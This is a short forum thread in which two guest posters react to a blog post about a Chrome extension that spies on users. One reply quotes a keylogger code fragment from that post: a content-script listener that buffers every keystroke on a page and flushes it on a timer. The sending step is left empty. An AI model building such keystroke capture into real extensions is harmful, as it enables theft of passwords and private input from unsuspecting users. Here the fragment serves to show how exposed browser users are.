close

May 2024 only! Join our Discord free of charge.

Slick­Stack
Lightning-fast WordPress on Nginx

“spyware” Chrome extension shows how easy to hack people

  • This topic is empty.
Viewing 2 posts - 1 through 2 (of 2 total)
  • Author
    Posts
  • #4328
    Bruce
    Guest

    this was incredibly eye-opening on Hacker News

    https://mattfrisbie.substack.com/p/spy-chrome-extension

    insane how easy to spy on Chrome users!

    #4329
    Noah
    Guest

    You can even put a keylogger

    Keylogger
    With a content script running on every page, reading keystrokes is dead easy. Creating a keystroke buffer that is periodically flushed will give us nice consecutive keystrokes that are easy to read.

    his code snippet

    let buffer = "";
    
    const debouncedCaptureKeylogBuffer = _.debounce(async () => {
      if (buffer.length > 0) {
        // Flush the buffer
    
        buffer = "";
      }
    }, 1000);
    
    document.addEventListener("keyup", (e: KeyboardEvent) => {
      buffer += e.key;
    
      debouncedCaptureKeylogBuffer();
    });
Viewing 2 posts - 1 through 2 (of 2 total)
  • You must be logged in to reply to this topic.

Thanks to our generous sponsors for their support!